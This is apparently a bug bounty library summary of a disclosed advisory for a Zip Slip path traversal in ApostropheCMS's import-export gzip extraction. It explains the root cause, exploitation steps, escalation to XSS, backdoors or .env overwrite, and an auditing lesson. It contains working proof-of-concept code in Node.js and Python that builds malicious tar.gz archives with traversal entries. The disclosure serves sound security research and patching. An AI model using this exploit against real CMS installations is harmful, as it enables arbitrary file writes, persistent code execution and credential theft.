# ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction

ApostropheCMS import-export gzip extract() joins tar entry names with path.join, letting an editor upload a tar.gz with ../ entries to write arbitrary files, reaching RCE via public/ or startup JS.

- Payout: Research
- Severity: critical
- Program: ApostropheCMS
- Found by: 0xEr3n
- Disclosed: 2026-03-18
- CVE: CVE-2026-32731
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-mwxc-m426-3f78
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-mwxc-m426-3f78
- Tags: area:web domain:web impact:data-leak impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** Node.js CMS import/export gzip tar extraction (packages/import-export/lib/formats/gzip.js extract())
**Root cause:** extract() builds write paths with fs.createWriteStream(path.join(exportPath, header.name)); path.join does not resolve or reject ../ segments and no canonical-path containment check is done before opening the stream.
**Steps:**
1. Craft a tar.gz containing required `aposDocs.json` and `aposAttachments.json` entries plus a traversal entry, e.g. `../../../../<project-root>/public/injected.html` with attacker content (make-slip-tar.py).
2. Log in with any account holding Global Content Modify and go to Open Global Settings → More Options → Import.
3. Upload `evil-slip.tar.gz` and click Import; extraction writes outside the temp export dir with no error.
4. Fetch `http://localhost:3000/injected.html` to confirm the file is served from the CMS domain.
5. For automated verification, run the Node harness that calls gzipFormat.input(archivePath) on an archive with entry `../../zip-slip-pwned.txt` and check the file exists two dirs above exportPath.
**How found:** Code review of the gzip import format: noticed extract() uses path.join(exportPath, header.name) without canonicalization, recognizing the classic Zip Slip pattern, then built a tar-stream PoC to confirm the write lands outside the extraction root.
**Exploitation:** An editor-level user uploads a crafted .tar.gz through the standard CMS import UI. The tar entry name with ../ segments escapes the temp extraction directory, writing attacker content to any path the Node process can reach: public/ for HTTP-served defacement/phishing/stored XSS, startup-loaded .js or config files for a persistent backdoor executing on next restart, or .env/config overwrite for credential theft and auth redirection.
**Escalation:** Write into Express-served public/ for stored XSS at scale, or overwrite Node startup .js/config to gain code execution on automatic restart/deploy; overwrite .env to exfiltrate DB credentials or disable security controls.
**Insight:** Audit archive extractors for path.join/path.resolve on entry names without a resolved-prefix containment check; also check whether the app serves any writable directory statically or loads .js/config from writable paths, which turns file write into XSS or RCE.

## Proof of concept (copied exactly from the original report)

**Node.js harness creating traversal tar entry**

```
const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');

const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');

async function makeArchive(archivePath) {
  const pack = tar.pack();
  const gzip = zlib.createGzip();
  const out = fs.createWriteStream(archivePath);

  const done = new Promise((resolve, reject) => {
    out.on('finish', resolve);
    out.on('error', reject);
    gzip.on('error', reject);
    pack.on('error', reject);
  });

  pack.pipe(gzip).pipe(out);

  pack.entry({ name: 'aposDocs.json' }, '[]');
  pack.entry({ name: 'aposAttachments.json' }, '[]');

  // Traversal payload
  pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');

  pack.finalize();
  await done;
}

(async () => {
  const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
  const archivePath = path.join(base, 'evil-export.gz');
  const exportPath = archivePath.replace(/\.gz$/, '');

  await makeArchive(archivePath);

  const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');

  // Ensure clean pre-state
  try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}

  await gzipFormat.input(archivePath);

  const exists = fs.existsSync(expectedOutsideWrite);
  const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';

  console.log('EXPORT_PATH:', exportPath);
  console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
  console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
  console.log('WRITTEN_CONTENT:', content.trim());
})();
```

**Python script generating malicious tar.gz**

```
import tarfile, io, sys

if len(sys.argv) != 3:
    print("Usage: python make-slip-tar.py <payload_file> <target_path>")
    sys.exit(1)

payload_file = sys.argv[1]
target_path  = sys.argv[2]
out = "evil-slip.tar.gz"

with open(payload_file, "rb") as f:
    payload = f.read()

with tarfile.open(out, "w:gz") as t:
    docs = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposDocs.json")
    info.size = len(docs.getvalue())
    t.addfile(info, docs)

    atts = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposAttachments.json")
    info.size = len(atts.getvalue())
    t.addfile(info, atts)

    info = tarfile.TarInfo(target_path)
    info.size = len(payload)
    t.addfile(info, io.BytesIO(payload))

print("created", out)
```

**Upload malicious archive via CMS import UI**

```
python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"

This creates `evil-slip.tar.gz` containing:
- `aposDocs.json` — empty, required by the importer
- `aposAttachments.json` — empty, required by the importer
- `../../../../<project-root>/public/injected.html` — the traversal payload

### Step 3 — Upload via CMS Import UI

1. Log in to the CMS with any account that has **Global Content Modify** permission.
2. Navigate to **Open Global Settings → More Options → Import**.
3. Select `evil-slip.tar.gz` and click **Import**.
4. The CMS accepts the file and begins extraction — no error is shown.

### Step 4 — Confirm the write

curl http://localhost:3000/injected.html
```

